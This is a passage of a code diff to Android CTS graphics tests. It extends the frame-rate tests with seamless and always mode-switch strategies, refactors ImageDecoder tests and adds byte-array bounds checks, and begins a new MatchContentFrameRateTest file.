             if (nowNanos >= surfacePostTime) {
@@ -481,45 +551,78 @@
         return true;
     }
 
-    private void verifyCompatibleAndStableFrameRate(float appRequestedFrameRate,
-            ArrayList<TestSurface> surfaces) throws InterruptedException {
+    private void waitForStableFrameRate() throws InterruptedException {
+        verifyCompatibleAndStableFrameRate(0, new ArrayList<>());
+    }
+
+    // Set expectedFrameRate to 0.0 to verify only stable frame rate.
+    private void verifyCompatibleAndStableFrameRate(float expectedFrameRate,
+            List<TestSurface> surfaces) throws InterruptedException {
         Log.i(TAG, "Verifying compatible and stable frame rate");
         long nowNanos = System.nanoTime();
         long gracePeriodEndTimeNanos =
                 nowNanos + FRAME_RATE_SWITCH_GRACE_PERIOD_SECONDS * 1_000_000_000L;
         while (true) {
-            // Wait until we switch to a compatible frame rate.
-            while (!isFrameRateMultiple(mDeviceFrameRate, appRequestedFrameRate)
-                    && !waitForEvents(gracePeriodEndTimeNanos, surfaces)) {
-                // Empty
-            }
-            nowNanos = System.nanoTime();
-            if (nowNanos >= gracePeriodEndTimeNanos) {
-                throw new FrameRateTimeoutException(appRequestedFrameRate, mDeviceFrameRate);
+            if (expectedFrameRate > FRAME_RATE_TOLERANCE) { // expectedFrameRate > 0
+                // Wait until we switch to a compatible frame rate.
+                while (!isFrameRateMultiple(mDeviceFrameRate, expectedFrameRate)
+                        && !waitForEvents(gracePeriodEndTimeNanos, surfaces)) {
+                    // Empty
+                }
+                nowNanos = System.nanoTime();
+                if (nowNanos >= gracePeriodEndTimeNanos) {
+                    throw new FrameRateTimeoutException(expectedFrameRate, mDeviceFrameRate);
+                }
             }
 
             // We've switched to a compatible frame rate. Now wait for a while to see if we stay at
             // that frame rate.
             long endTimeNanos = nowNanos + STABLE_FRAME_RATE_WAIT_SECONDS * 1_000_000_000L;
             while (endTimeNanos > nowNanos) {
+                int numModeChangedEvents = mModeChangedEvents.size();
                 if (waitForEvents(endTimeNanos, surfaces)) {
-                    Log.i(TAG, String.format("Stable frame rate %.0f verified", mDeviceFrameRate));
+                    Log.i(TAG, String.format("Stable frame rate %.2f verified", mDeviceFrameRate));
                     return;
                 }
                 nowNanos = System.nanoTime();
-                if (!mFrameRateChangedEvents.isEmpty()) {
+                if (mModeChangedEvents.size() > numModeChangedEvents) {
                     break;
                 }
             }
         }
     }
 
+    private void verifyModeSwitchesDontChangeResolution(int fromId, int toId) {
+        assertTrue(fromId <= toId);
+        for (int eventId = fromId; eventId < toId; eventId++) {
+            Display.Mode fromMode = mModeChangedEvents.get(eventId - 1);
+            Display.Mode toMode = mModeChangedEvents.get(eventId);
+            assertTrue("Resolution change was not expected, but there was such from "
+                    + fromMode + " to " + toMode + ".", hasSameResolution(fromMode, toMode));
+        }
+    }
+
+    private void verifyModeSwitchesAreSeamless(int fromId, int toId) {
+        assertTrue(fromId <= toId);
+        for (int eventId = fromId; eventId < toId; eventId++) {
+            Display.Mode fromMode = mModeChangedEvents.get(eventId - 1);
+            Display.Mode toMode = mModeChangedEvents.get(eventId);
+            assertTrue("Non-seamless mode switch was not expected, but there was a "
+                            + "non-seamless switch from from " + fromMode + " to " + toMode + ".",
+                    isAlternative(fromMode, toMode));
+        }
+    }
+
     // Unfortunately, we can't just use Consumer<Api> for this, because we need to declare that it
     // throws InterruptedException.
     private interface TestInterface {
         void run(Api api) throws InterruptedException;
     }
 
+    private interface OneSurfaceTestInterface {
+        void run(TestSurface surface) throws InterruptedException;
+    }
+
     // Runs the given test for each api, waiting for the preconditions to be satisfied before
     // running the test. Includes retry logic when the test fails because the preconditions are
     // violated. E.g. if we lose the SurfaceHolder's surface, or the activity is paused/resumed,
@@ -541,6 +644,11 @@
                         } catch (PreconditionViolatedException exc) {
                             // The logic below will retry if we're below max attempts.
                         } catch (FrameRateTimeoutException exc) {
+                            StringWriter stringWriter = new StringWriter();
+                            PrintWriter printWriter = new PrintWriter(stringWriter);
+                            exc.printStackTrace(printWriter);
+                            String stackTrace = stringWriter.toString();
+
                             // Sometimes we get a test timeout failure before we get the
                             // notification that the activity was paused, and it was the pause that
                             // caused the timeout failure. Wait for a bit to see if we get notified
@@ -549,8 +657,9 @@
                             assertTrue(
                                     String.format(
                                             "Timed out waiting for a stable and compatible frame"
-                                                    + " rate. requested=%.0f received=%.0f.",
-                                            exc.appRequestedFrameRate, exc.deviceFrameRate),
+                                                    + " rate. expected=%.2f received=%.2f."
+                                                    + " Stack trace: " + stackTrace,
+                                            exc.expectedFrameRate, exc.deviceFrameRate),
                                     waitForPreconditionViolation());
                         }
 
@@ -562,8 +671,8 @@
                                             mActivityState == ActivityState.RUNNING));
                             attempts++;
                             assertTrue(String.format(
-                                               "Exceeded %d precondition wait attempts. Giving up.",
-                                               PRECONDITION_WAIT_MAX_ATTEMPTS),
+                                    "Exceeded %d precondition wait attempts. Giving up.",
+                                    PRECONDITION_WAIT_MAX_ATTEMPTS),
                                     attempts < PRECONDITION_WAIT_MAX_ATTEMPTS);
                         }
                     }
@@ -580,33 +689,80 @@
         }
     }
 
-    private void testExactFrameRateMatch(Api api) throws InterruptedException {
-        ArrayList<Float> frameRatesToTest = getFrameRatesToTest();
-        TestSurface surface = null;
-        try {
-            surface = new TestSurface(api, mSurfaceView.getSurfaceControl(), mSurface,
-                    "testSurface", mSurfaceView.getHolder().getSurfaceFrame(),
-                    /*visible=*/true, Color.RED);
-            ArrayList<TestSurface> surfaces = new ArrayList<>();
-            surfaces.add(surface);
-            for (float frameRate : frameRatesToTest) {
-                surface.setFrameRate(frameRate, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT);
-                verifyCompatibleAndStableFrameRate(frameRate, surfaces);
+    public void testExactFrameRateMatch(int changeFrameRateStrategy) throws InterruptedException {
+        String type = changeFrameRateStrategy == Surface.CHANGE_FRAME_RATE_ONLY_IF_SEAMLESS
+                ? "seamless" : "always";
+        runTestsWithPreconditions(api -> testExactFrameRateMatch(api, changeFrameRateStrategy),
+                type + " exact frame rate match");
+    }
+
+    private void testExactFrameRateMatch(Api api, int changeFrameRateStrategy)
+            throws InterruptedException {
+        runOneSurfaceTest(api, (TestSurface surface) -> {
+            Display display = mDisplayManager.getDisplay(Display.DEFAULT_DISPLAY);
+            Display.Mode currentMode = display.getMode();
+
+            if (changeFrameRateStrategy == Surface.CHANGE_FRAME_RATE_ONLY_IF_SEAMLESS) {
+                // Seamless rates should be seamlessly achieved with no resolution changes.
+                List<Float> seamlessRefreshRates =
+                        Floats.asList(currentMode.getAlternativeRefreshRates());
+                for (float frameRate : seamlessRefreshRates) {
+                    int initialNumEvents = mModeChangedEvents.size();
+                    surface.setFrameRate(frameRate, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT,
+                            Surface.CHANGE_FRAME_RATE_ONLY_IF_SEAMLESS);
+                    verifyCompatibleAndStableFrameRate(frameRate, Arrays.asList(surface));
+                    verifyModeSwitchesAreSeamless(initialNumEvents, mModeChangedEvents.size());
+                    verifyModeSwitchesDontChangeResolution(initialNumEvents,
+                            mModeChangedEvents.size());
+                }
+                // Reset to default
+                surface.setFrameRate(0.f, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT,
+                        Surface.CHANGE_FRAME_RATE_ONLY_IF_SEAMLESS);
+                // Wait for potential mode switches
+                verifyCompatibleAndStableFrameRate(0, Arrays.asList(surface));
+                currentMode = display.getMode();
+
+                // Seamed rates should never generate a seamed switch.
+                List<Float> seamedRefreshRates = getSeamedRefreshRates(currentMode, display);
+                for (float frameRate : seamedRefreshRates) {
+                    int initialNumEvents = mModeChangedEvents.size();
+                    surface.setFrameRate(frameRate, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT,
+                            Surface.CHANGE_FRAME_RATE_ONLY_IF_SEAMLESS);
+                    // Mode switch can occur, since we could potentially switch to a multiple
+                    // that happens to be seamless.
+                    verifyModeSwitchesAreSeamless(initialNumEvents, mModeChangedEvents.size());
+                }
+            } else if (changeFrameRateStrategy == Surface.CHANGE_FRAME_RATE_ALWAYS) {
+                // All rates should be seamfully achieved with no resolution changes.
+                List<Float> allRefreshRates = getRefreshRates(currentMode, display);
+                for (float frameRate : allRefreshRates) {
+                    int initialNumEvents = mModeChangedEvents.size();
+                    surface.setFrameRate(frameRate, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT,
+                            Surface.CHANGE_FRAME_RATE_ALWAYS);
+                    verifyCompatibleAndStableFrameRate(frameRate, Arrays.asList(surface));
+                    verifyModeSwitchesDontChangeResolution(initialNumEvents,
+                            mModeChangedEvents.size());
+                }
+            } else {
+                Log.e(TAG, "Invalid changeFrameRateStrategy = " + changeFrameRateStrategy);
             }
-            surface.setFrameRate(0.f, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT);
-        } finally {
-            if (surface != null) {
-                surface.release();
-            }
+        });
+    }
+
+    private String modeSwitchesToString(int fromId, int toId) {
+        assertTrue(fromId <= toId);
+        String string = "";
+        for (int eventId = fromId; eventId < toId; eventId++) {
+            Display.Mode fromMode = mModeChangedEvents.get(eventId - 1);
+            Display.Mode toMode = mModeChangedEvents.get(eventId);
+            string += fromMode + " -> " + toMode + "; ";
         }
+        return string;
     }
 
-    public void testExactFrameRateMatch() throws InterruptedException {
-        runTestsWithPreconditions(api -> testExactFrameRateMatch(api), "exact frame rate match");
-    }
-
-    private void testFixedSource(Api api) throws InterruptedException {
-        float[] incompatibleFrameRates = getIncompatibleFrameRates();
+    private void testFixedSource(Api api, int changeFrameRateStrategy) throws InterruptedException {
+        Display display = getDisplay();
+        float[] incompatibleFrameRates = getIncompatibleFrameRates(display);
         if (incompatibleFrameRates == null) {
             Log.i(TAG, "No incompatible frame rates to use for testing fixed_source behavior");
             return;
@@ -615,10 +771,11 @@
         float frameRateA = incompatibleFrameRates[0];
         float frameRateB = incompatibleFrameRates[1];
         Log.i(TAG,
-                String.format("Testing with incompatible frame rates: surfaceA=%.0f surfaceB=%.0f",
+                String.format("Testing with incompatible frame rates: surfaceA=%.2f surfaceB=%.2f",
                         frameRateA, frameRateB));
         TestSurface surfaceA = null;
         TestSurface surfaceB = null;
+
         try {
             int width = mSurfaceView.getHolder().getSurfaceFrame().width();
             int height = mSurfaceView.getHolder().getSurfaceFrame().height() / 2;
@@ -630,16 +787,35 @@
             surfaceB = new TestSurface(api, mSurfaceView.getSurfaceControl(), mSurface, "surfaceB",
                     destFrameB, /*visible=*/false, Color.GREEN);
 
-            surfaceA.setFrameRate(frameRateA, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT);
-            surfaceB.setFrameRate(frameRateB, Surface.FRAME_RATE_COMPATIBILITY_FIXED_SOURCE);
+            int initialNumEvents = mModeChangedEvents.size();
+            surfaceA.setFrameRate(frameRateA, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT,
+                    changeFrameRateStrategy);
+            surfaceB.setFrameRate(frameRateB, Surface.FRAME_RATE_COMPATIBILITY_FIXED_SOURCE,
+                    changeFrameRateStrategy);
 
             ArrayList<TestSurface> surfaces = new ArrayList<>();
             surfaces.add(surfaceA);
             surfaces.add(surfaceB);
 
-            verifyCompatibleAndStableFrameRate(frameRateA, surfaces);
+            if (changeFrameRateStrategy == Surface.CHANGE_FRAME_RATE_ONLY_IF_SEAMLESS) {
+                verifyModeSwitchesAreSeamless(initialNumEvents, mModeChangedEvents.size());
+            } else {
+                verifyCompatibleAndStableFrameRate(frameRateA, surfaces);
+            }
+
+            verifyModeSwitchesDontChangeResolution(initialNumEvents,
+                    mModeChangedEvents.size());
+            initialNumEvents = mModeChangedEvents.size();
+
             surfaceB.setVisibility(true);
-            verifyCompatibleAndStableFrameRate(frameRateB, surfaces);
+
+            if (changeFrameRateStrategy == Surface.CHANGE_FRAME_RATE_ONLY_IF_SEAMLESS) {
+                verifyModeSwitchesAreSeamless(initialNumEvents, mModeChangedEvents.size());
+            } else {
+                verifyCompatibleAndStableFrameRate(frameRateB, surfaces);
+            }
+            verifyModeSwitchesDontChangeResolution(initialNumEvents,
+                    mModeChangedEvents.size());
         } finally {
             if (surfaceA != null) {
                 surfaceA.release();
@@ -650,22 +826,34 @@
         }
     }
 
-    public void testFixedSource() throws InterruptedException {
-        runTestsWithPreconditions(api -> testFixedSource(api), "fixed source behavior");
+    public void testFixedSource(int changeFrameRateStrategy) throws InterruptedException {
+        String type = changeFrameRateStrategy == Surface.CHANGE_FRAME_RATE_ONLY_IF_SEAMLESS
+                ? "seamless" : "always";
+        runTestsWithPreconditions(api -> testFixedSource(api, changeFrameRateStrategy),
+                type + " fixed source behavior");
     }
 
-    private void testInvalidParams(Api api) throws InterruptedException {
+    private void testInvalidParams(Api api) {
         TestSurface surface = null;
+        final int changeStrategy = Surface.CHANGE_FRAME_RATE_ALWAYS;
         try {
             surface = new TestSurface(api, mSurfaceView.getSurfaceControl(), mSurface,
                     "testSurface", mSurfaceView.getHolder().getSurfaceFrame(),
                     /*visible=*/true, Color.RED);
-            surface.setInvalidFrameRate(-100.f, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT);
-            surface.setInvalidFrameRate(
-                    Float.POSITIVE_INFINITY, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT);
-            surface.setInvalidFrameRate(Float.NaN, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT);
-            surface.setInvalidFrameRate(0.f, -10);
-            surface.setInvalidFrameRate(0.f, 50);
+            int initialNumEvents = mModeChangedEvents.size();
+            surface.setInvalidFrameRate(-100.f, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT,
+                    changeStrategy);
+            assertEquals(initialNumEvents, mModeChangedEvents.size());
+            surface.setInvalidFrameRate(Float.POSITIVE_INFINITY,
+                    Surface.FRAME_RATE_COMPATIBILITY_DEFAULT, changeStrategy);
+            assertEquals(initialNumEvents, mModeChangedEvents.size());
+            surface.setInvalidFrameRate(Float.NaN, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT,
+                    changeStrategy);
+            assertEquals(initialNumEvents, mModeChangedEvents.size());
+            surface.setInvalidFrameRate(0.f, -10, changeStrategy);
+            assertEquals(initialNumEvents, mModeChangedEvents.size());
+            surface.setInvalidFrameRate(0.f, 50, changeStrategy);
+            assertEquals(initialNumEvents, mModeChangedEvents.size());
         } finally {
             if (surface != null) {
                 surface.release();
@@ -677,13 +865,139 @@
         runTestsWithPreconditions(api -> testInvalidParams(api), "invalid params behavior");
     }
 
+    private void runOneSurfaceTest(Api api, OneSurfaceTestInterface test)
+            throws InterruptedException {
+        TestSurface surface = null;
+        try {
+            surface = new TestSurface(api, mSurfaceView.getSurfaceControl(), mSurface,
+                    "testSurface", mSurfaceView.getHolder().getSurfaceFrame(),
+                    /*visible=*/true, Color.RED);
+
+            ArrayList<TestSurface> surfaces = new ArrayList<>();
+            surfaces.add(surface);
+
+            test.run(surface);
+        } finally {
+            if (surface != null) {
+                surface.release();
+            }
+        }
+    }
+
+    private void testSwitching(TestSurface surface, List<Float> frameRates, boolean expectSwitch,
+            int changeFrameRateStrategy) throws InterruptedException {
+        for (float frameRate : frameRates) {
+            int initialNumEvents = mModeChangedEvents.size();
+            surface.setFrameRate(frameRate, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT,
+                    changeFrameRateStrategy);
+
+            if (expectSwitch) {
+                verifyCompatibleAndStableFrameRate(frameRate, Arrays.asList(surface));
+            }
+            if (changeFrameRateStrategy == Surface.CHANGE_FRAME_RATE_ONLY_IF_SEAMLESS) {
+                verifyModeSwitchesAreSeamless(initialNumEvents, mModeChangedEvents.size());
+            }
+            verifyModeSwitchesDontChangeResolution(initialNumEvents,
+                    mModeChangedEvents.size());
+        }
+    }
+
+    private void testMatchContentFramerate_None(Api api) throws InterruptedException {
+        runOneSurfaceTest(api, (TestSurface surface) -> {
+            Display display = getDisplay();
+            Display.Mode currentMode = display.getMode();
+            List<Float> frameRates = getRefreshRates(currentMode, display);
+
+            for (float frameRate : frameRates) {
+                int initialNumEvents = mModeChangedEvents.size();
+                surface.setFrameRate(frameRate, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT,
+                        Surface.CHANGE_FRAME_RATE_ALWAYS);
+
+                assertTrue("Mode switches are not expected but these were detected "
+                        + modeSwitchesToString(initialNumEvents, mModeChangedEvents.size()),
+                        mModeChangedEvents.size() == initialNumEvents);
+            }
+        });
+    }
+
+    public void testMatchContentFramerate_None() throws InterruptedException {
+        runTestsWithPreconditions(api -> testMatchContentFramerate_None(api),
+                "testMatchContentFramerate_None");
+    }
+
+    private void testMatchContentFramerate_Auto(Api api)
+            throws InterruptedException {
+        runOneSurfaceTest(api, (TestSurface surface) -> {
+            Display display = getDisplay();
+            Display.Mode currentMode = display.getMode();
+            List<Float> frameRatesToTest = Floats.asList(currentMode.getAlternativeRefreshRates());
+
+            for (float frameRate : frameRatesToTest) {
+                int initialNumEvents = mModeChangedEvents.size();
+                surface.setFrameRate(frameRate, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT,
+                        Surface.CHANGE_FRAME_RATE_ALWAYS);
+
+                verifyCompatibleAndStableFrameRate(frameRate, Arrays.asList(surface));
+                verifyModeSwitchesDontChangeResolution(initialNumEvents,
+                        mModeChangedEvents.size());
+            }
+
+            // Reset to default
+            surface.setFrameRate(0.f, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT,
+                    Surface.CHANGE_FRAME_RATE_ALWAYS);
+
+            // Wait for potential mode switches.
+            verifyCompatibleAndStableFrameRate(0, Arrays.asList(surface));
+
+            currentMode = display.getMode();
+            List<Float> seamedRefreshRates = getSeamedRefreshRates(currentMode, display);
+
+            for (float frameRate : seamedRefreshRates) {
+                int initialNumEvents = mModeChangedEvents.size();
+                surface.setFrameRate(frameRate, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT,
+                        Surface.CHANGE_FRAME_RATE_ALWAYS);
+
+                // Mode switches may have occurred, make sure they were all seamless.
+                verifyModeSwitchesAreSeamless(initialNumEvents, mModeChangedEvents.size());
+                verifyModeSwitchesDontChangeResolution(initialNumEvents,
+                        mModeChangedEvents.size());
+            }
+        });
+    }
+
+    public void testMatchContentFramerate_Auto() throws InterruptedException {
+        runTestsWithPreconditions(api -> testMatchContentFramerate_Auto(api),
+                "testMatchContentFramerate_Auto");
+    }
+
+    private void testMatchContentFramerate_Always(Api api) throws InterruptedException {
+        runOneSurfaceTest(api, (TestSurface surface) -> {
+            Display display = getDisplay();
+            List<Float> frameRates = getRefreshRates(display.getMode(), display);
+            for (float frameRate : frameRates) {
+                int initialNumEvents = mModeChangedEvents.size();
+                surface.setFrameRate(frameRate, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT,
+                        Surface.CHANGE_FRAME_RATE_ONLY_IF_SEAMLESS);
+
+                verifyCompatibleAndStableFrameRate(frameRate, Arrays.asList(surface));
+                verifyModeSwitchesDontChangeResolution(initialNumEvents,
+                        mModeChangedEvents.size());
+            }
+        });
+    }
+
+    public void testMatchContentFramerate_Always() throws InterruptedException {
+        runTestsWithPreconditions(api -> testMatchContentFramerate_Always(api),
+                "testMatchContentFramerate_Always");
+    }
+
     private static native int nativeWindowSetFrameRate(
-            Surface surface, float frameRate, int compatibility);
+            Surface surface, float frameRate, int compatibility, int changeFrameRateStrategy);
     private static native long nativeSurfaceControlCreate(
             Surface parentSurface, String name, int left, int top, int right, int bottom);
     private static native void nativeSurfaceControlDestroy(long surfaceControl);
     private static native void nativeSurfaceControlSetFrameRate(
-            long surfaceControl, float frameRate, int compatibility);
+            long surfaceControl, float frameRate, int compatibility, int changeFrameRateStrategy);
     private static native void nativeSurfaceControlSetVisibility(
             long surfaceControl, boolean visible);
     private static native boolean nativeSurfaceControlPostBuffer(long surfaceControl, int color);
diff --git a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
index 121af43..0c1f1ba 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
@@ -69,6 +69,8 @@
 import java.nio.ByteBuffer;
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
 import java.util.concurrent.Callable;
 import java.util.function.IntFunction;
 import java.util.function.Supplier;
@@ -181,10 +183,7 @@
             File dir = new File(context.getFilesDir(), "images");
             dir.mkdirs();
             file = new File(dir, "test_file" + resId);
-            if (!file.createNewFile()) {
-                if (file.exists()) {
-                    return file;
-                }
+            if (!file.createNewFile() && !file.exists()) {
                 fail("Failed to create new File!");
             }
 
@@ -220,6 +219,7 @@
     private interface SourceCreator extends IntFunction<ImageDecoder.Source> {};
 
     private SourceCreator[] mCreators = new SourceCreator[] {
+            resId -> ImageDecoder.createSource(getAsByteArray(resId)),
             resId -> ImageDecoder.createSource(getAsByteBufferWrap(resId)),
             resId -> ImageDecoder.createSource(getAsDirectByteBuffer(resId)),
             resId -> ImageDecoder.createSource(getAsReadOnlyByteBuffer(resId)),
@@ -366,9 +366,25 @@
         }
     }
 
+    private Collection<Object[]> paramsForTestSetAllocatorDecodeBitmap() {
+        boolean[] trueFalse = new boolean[] { true, false };
+        List<Object[]> temp = new ArrayList<>();
+        for (Object record : getRecords()) {
+            for (int allocator : ALLOCATORS) {
+                for (boolean doCrop : trueFalse) {
+                    for (boolean doScale : trueFalse) {
+                        temp.add(new Object[]{record, allocator, doCrop, doScale});
+                    }
+                }
+            }
+        }
+        return temp;
+    }
+
     @Test
-    @Parameters(method = "getRecords")
-    public void testSetAllocatorDecodeBitmap(Record record) {
+    @Parameters(method = "paramsForTestSetAllocatorDecodeBitmap")
+    public void testSetAllocatorDecodeBitmap(Record record, int allocator, boolean doCrop,
+                                             boolean doScale) {
         class Listener implements ImageDecoder.OnHeaderDecodedListener {
             public int allocator;
             public boolean doCrop;
@@ -388,51 +404,52 @@
         };
         Listener l = new Listener();
 
-        boolean trueFalse[] = new boolean[] { true, false };
+        // This test relies on ImageDecoder *not* scaling to account for density.
+        // Temporarily change the DisplayMetrics to prevent that scaling.
         Resources res = getResources();
+        final int originalDensity = res.getDisplayMetrics().densityDpi;
+        res.getDisplayMetrics().densityDpi = DisplayMetrics.DENSITY_DEFAULT;
         ImageDecoder.Source src = ImageDecoder.createSource(res, record.resId);
         assertNotNull(src);
-        for (int allocator : ALLOCATORS) {
-            for (boolean doCrop : trueFalse) {
-                for (boolean doScale : trueFalse) {
-                    l.doCrop = doCrop;
-                    l.doScale = doScale;
-                    l.allocator = allocator;
+        l.doCrop = doCrop;
+        l.doScale = doScale;
+        l.allocator = allocator;
 
-                    Bitmap bm = null;
-                    try {
-                        bm = ImageDecoder.decodeBitmap(src, l);
-                    } catch (IOException e) {
-                        fail("Failed " + Utils.getAsResourceUri(record.resId)
-                                + " with exception " + e);
-                    }
-                    assertNotNull(bm);
+        Bitmap bm = null;
+        try {
+            bm = ImageDecoder.decodeBitmap(src, l);
+        } catch (IOException e) {
+            fail("Failed " + Utils.getAsResourceUri(record.resId)
+                    + " with exception " + e);
+        } finally {
+            res.getDisplayMetrics().densityDpi = originalDensity;
+        }
+        assertNotNull(bm);
 
-                    switch (allocator) {
-                        case ImageDecoder.ALLOCATOR_SOFTWARE:
-                        // TODO: Once Bitmap provides access to its
-                        // SharedMemory, confirm that ALLOCATOR_SHARED_MEMORY
-                        // worked.
-                        case ImageDecoder.ALLOCATOR_SHARED_MEMORY:
-                            assertNotEquals(Bitmap.Config.HARDWARE, bm.getConfig());
+        switch (allocator) {
+            case ImageDecoder.ALLOCATOR_SHARED_MEMORY:
+                // For a Bitmap backed by shared memory, asShared will return
+                // the same Bitmap.
+                assertSame(bm, bm.asShared());
 
-                            if (!doScale && !doCrop) {
-                                BitmapFactory.Options options = new BitmapFactory.Options();
-                                options.inScaled = false;
-                                Bitmap reference = BitmapFactory.decodeResource(res,
-                                        record.resId, options);
-                                assertNotNull(reference);
-                                assertTrue(BitmapUtils.compareBitmaps(bm, reference));
-                            }
-                            break;
-                        default:
-                            String name = Utils.getAsResourceUri(record.resId).toString();
-                            assertEquals("image " + name + "; allocator: " + allocator,
-                                         Bitmap.Config.HARDWARE, bm.getConfig());
-                            break;
-                    }
+                // fallthrough
+            case ImageDecoder.ALLOCATOR_SOFTWARE:
+                assertNotEquals(Bitmap.Config.HARDWARE, bm.getConfig());
+
+                if (!doScale && !doCrop) {
+                    BitmapFactory.Options options = new BitmapFactory.Options();
+                    options.inScaled = false;
+                    Bitmap reference = BitmapFactory.decodeResource(res,
+                            record.resId, options);
+                    assertNotNull(reference);
+                    assertTrue(BitmapUtils.compareBitmaps(bm, reference));
                 }
-            }
+                break;
+            default:
+                String name = Utils.getAsResourceUri(record.resId).toString();
+                assertEquals("image " + name + "; allocator: " + allocator,
+                             Bitmap.Config.HARDWARE, bm.getConfig());
+                break;
         }
     }
 
@@ -2006,11 +2023,74 @@
         }
     }
 
+    @Test
+    public void testOrientationWithSampleSize() {
+        Uri uri = Utils.getAsResourceUri(R.drawable.orientation_6);
+        ImageDecoder.Source src = ImageDecoder.createSource(getContentResolver(), uri);
+        final int sampleSize = 7;
+        try {
+            Bitmap bm = ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
+                decoder.setTargetSampleSize(sampleSize);
+            });
+            assertNotNull(bm);
+
+            // The unsampled image, after rotation, is 100 x 80
+            assertEquals(100 / sampleSize, bm.getWidth());
+            assertEquals( 80 / sampleSize, bm.getHeight());
+        } catch (IOException e) {
+            fail("Failed to decode " + uri.toString() + " with a sampleSize (" + sampleSize + ")");
+        }
+    }
+
+    @Test(expected = ArrayIndexOutOfBoundsException.class)
+    public void testArrayOutOfBounds() {
+        byte[] array = new byte[10];
+        ImageDecoder.createSource(array, 1, 10);
+    }
+
+    @Test(expected = ArrayIndexOutOfBoundsException.class)
+    public void testOffsetOutOfBounds() {
+        byte[] array = new byte[10];
+        ImageDecoder.createSource(array, 10, 0);
+    }
+
+    @Test(expected = ArrayIndexOutOfBoundsException.class)
+    public void testLengthOutOfBounds() {
+        byte[] array = new byte[10];
+        ImageDecoder.createSource(array, 0, 11);
+    }
+
+    @Test(expected = ArrayIndexOutOfBoundsException.class)
+    public void testNegativeLength() {
+        byte[] array = new byte[10];
+        ImageDecoder.createSource(array, 0, -1);
+    }
+
+    @Test(expected = ArrayIndexOutOfBoundsException.class)
+    public void testNegativeOffset() {
+        byte[] array = new byte[10];
+        ImageDecoder.createSource(array, -1, 10);
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testNullByteArray() {
+        ImageDecoder.createSource(null, 0, 0);
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testNullByteArray2() {
+        byte[] array = null;
+        ImageDecoder.createSource(array);
+    }
+
+    @Test(expected = IOException.class)
+    public void testZeroLengthByteArray() throws IOException {
+        ImageDecoder.decodeDrawable(ImageDecoder.createSource(new byte[10], 0, 0));
+    }
+
     @Test(expected = IOException.class)
     public void testZeroLengthByteBuffer() throws IOException {
-        Drawable drawable = ImageDecoder.decodeDrawable(
-            ImageDecoder.createSource(ByteBuffer.wrap(new byte[10], 0, 0)));
-        fail("should not have reached here!");
+        ImageDecoder.decodeDrawable(ImageDecoder.createSource(ByteBuffer.wrap(new byte[10], 0, 0)));
     }
 
     private interface ByteBufferSupplier extends Supplier<ByteBuffer> {};
@@ -2103,6 +2183,24 @@
 
     @Test
     @Parameters(method = "getRecords")
+    public void testOffsetByteArray2(Record record) throws IOException {
+        ImageDecoder.Source src = ImageDecoder.createSource(getAsByteArray(record.resId));
+        Bitmap expected = ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
+            decoder.setAllocator(ImageDecoder.ALLOCATOR_SOFTWARE);
+        });
+
+        final int offset = 10;
+        final int extra = 15;
+        final byte[] array = getAsByteArray(record.resId, offset, extra);
+        src = ImageDecoder.createSource(array, offset, array.length - (offset + extra));
+        Bitmap actual = ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
+            decoder.setAllocator(ImageDecoder.ALLOCATOR_SOFTWARE);
+        });
+        assertTrue(actual.sameAs(expected));
+    }
+
+    @Test
+    @Parameters(method = "getRecords")
     public void testResourceSource(Record record) {
         ImageDecoder.Source src = ImageDecoder.createSource(getResources(), record.resId);
         try {
diff --git a/tests/tests/graphics/src/android/graphics/cts/MatchContentFrameRateTest.java b/tests/tests/graphics/src/android/graphics/cts/MatchContentFrameRateTest.java
new file mode 100644
index 0000000..c87794e
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/MatchContentFrameRateTest.java
@@ -0,0 +1,118 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertEquals;
+
+import android.Manifest;
+import android.hardware.display.DisplayManager;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.AdoptShellPermissionsRule;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class MatchContentFrameRateTest {
+    private static final int SETTING_PROPAGATION_TIMEOUT_MILLIS = 50;
+
+    @Rule
+    public ActivityTestRule<FrameRateCtsActivity> mActivityRule =
